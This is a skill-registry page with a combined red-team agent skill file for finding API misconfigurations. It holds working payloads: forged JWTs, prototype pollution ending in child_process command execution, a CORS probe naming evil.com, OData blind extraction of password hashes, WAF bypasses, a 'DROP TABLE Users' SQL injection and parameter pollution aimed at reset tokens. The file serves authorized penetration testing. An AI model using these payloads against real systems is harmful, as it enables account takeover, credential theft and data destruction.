domains / security / api-misconfig-hunt / hunt-api-misconfig

hunt-api-misconfig

Skill card

combined

Both copies cover the same core API misconfiguration classes (mass assignment, JWT alg=none, RS256→HS256 confusion, prototype pollution), but each contains material steps the other lacks. The uphiago copy adds HTTP verb tampering, CORS exploitation, and a detailed OData WAF-bypass section. The sickn33 copy adds a mandatory authorization gate, a detailed prototype-pollution hunt sequence (marker pollution, sink triggering, escalation), and a server-side parameter pollution hunt sequence. Crowning one would hide the other's unique procedures and constraints.

Repositories

RepositoryPath
uphiago/recon-skillsredteam/hunt-api-misconfig/SKILL.md
sickn33/agentic-awesome-skillsplugins/agentic-awesome-skills-claude/skills/hunt-api-misconfig/SKILL.md

Other copies

RoleRepositoryPath
peeruphiago/recon-skillsredteam/hunt-api-misconfig/SKILL.md
peersickn33/agentic-awesome-skillsplugins/agentic-awesome-skills-claude/skills/hunt-api-misconfig/SKILL.md
adaptersickn33/agentic-awesome-skillsplugins/agentic-awesome-skills/skills/hunt-api-misconfig/SKILL.md
adaptersickn33/agentic-awesome-skillsskills/hunt-api-misconfig/SKILL.md

Combined skill

---
name: hunt-api-misconfig
description: "Hunt API security misconfiguration — mass assignment, JWT attacks, prototype pollution, HTTP verb tampering, OData WAF bypass, server-side parameter pollution."
version: 1.2.0
license: MIT
category: redteam
tags: [api, misconfiguration, hunt, redteam, security]
---

> **AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.

> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

## 1. Mass Assignment

Send privileged fields on profile/account/reset endpoints where the server blindly applies the request body.

```javascript
User.update(req.body)  // body has {"role": "admin"} → privilege escalation
```

Test payloads: `{"is_admin":true, "role":"admin", "verified":true}` on profile, account, and reset endpoints.

## 2. JWT Attacks

### 2a. None Algorithm

```python
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature
```

### 2b. RS256 → HS256 Algorithm Confusion

```python
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
```

### 2c. Other JWT vectors

- Weak HMAC secret bruteforce
- `kid` path traversal
- JWK injection
- Token confusion between RS256 and HS256

Detection: decode JWTs found in headers at jwt.io; look for API responses with extra fields.

## 3. Prototype Pollution

### 3a. Payloads

```javascript
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
```

### 3b. Hunt sequence

For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import, or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype state reaches a later operation.

1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects. Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
2. **Pollute harmless marker properties.** Send variants such as:

```
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
```

3. **Trigger a separate sink.** After pollution, request account/profile/admin/job/export/search/render endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields, server errors mentioning object properties, changed job output, template/render errors, or command/job behavior changes.
4. **Escalate only through learned sinks.** Candidate properties depend on the sink:

```
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
```

5. **For exfiltration labs or real impact, prefer non-destructive proof.** If an admin job, diagnostic, export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.

## 4. HTTP Verb Tampering

- GET-bypass-CSRF: send sensitive operations via GET
- X-HTTP-Method-Override: override POST to PUT/DELETE
- TRACE enabled: check for TRACE method support

## 5. CORS Exploitation

```bash
# Test: reflected origin + credentials
curl --max-time 30 --connect-timeout 10 -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses
```

Also test: null origin, subdomain-regex bypass, postMessage.

## 6. OData WAF-Blacklist Bypass

OData is the query layer behind SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori, and ASP.NET WebAPI projects using Microsoft.AspNetCore.OData. It exposes SQL-shaped query operators that keyword-blacklist WAFs routinely fail open on.

### 6a. Boolean-logic blind extraction via startswith / substringof

```
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')
```

Iterate prefix character-by-character; cardinality of the response (or @odata.count) is the boolean oracle.

### 6b. $orderby / $select column-disclosure bypass

```
GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname
```

Column-level ACLs are enforced on $select but NOT on $orderby / $filter.

### 6c. $batch multipart/mixed → per-request WAF signatures miss sub-operations

```
POST /odata/$batch  Content-Type: multipart/mixed; boundary=batch_1
--batch_1
Content-Type: application/http
GET Users?$filter=1 eq 1 HTTP/1.1
--batch_1--
```

### 6d. Encoded / non-canonical operator → keyword-blacklist bypass

```
GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201
GET /api?%2524filter=...
GET /Users(1)/$value
```

### 6e. OData → real SQLi when library passes filter raw

```
$filter=Name eq 'x'); DROP TABLE Users--'
```

Only triggers when the OData layer string-concatenates into SQL instead of using LINQ.

## 7. Server-Side Parameter Pollution in Backend URL / REST URL Construction

Use this when a frontend form or endpoint appears to call a server-side API on your behalf (password reset, account lookup, profile fetch, product lookup, stock check, search). The server takes your input and interpolates it into a backend URL path or query string.

Hunt sequence:

1. **Find the flow and read the client request.** Fetch the page and any referenced JavaScript. Look for form actions, fetch(...), hidden CSRF fields, and the exact parameter name the browser sends.
2. **Determine whether input lands in a backend path or query.** Send URL metacharacters in the input: #, ?, &x=y, /, ../, and encoded forms %23, %3f, %26x=y, %2f, %2e%2e%2f. Distinct errors mean your value is being interpreted by a server-side URL router.
3. **Use path traversal to move inside the server-side URL.** If username/../other-user changes the referenced account, the input is in a REST path segment. Then try appending route fragments such as /field/email, /field/id, /field/username, /field/passwordResetToken, and terminate the rest of the original backend path with # or %23 when the backend URL parser honors fragments.
4. **Discover API documentation from errors.** When an error says to consult the API definition, probe common documentation/spec paths: /openapi.json, /swagger.json.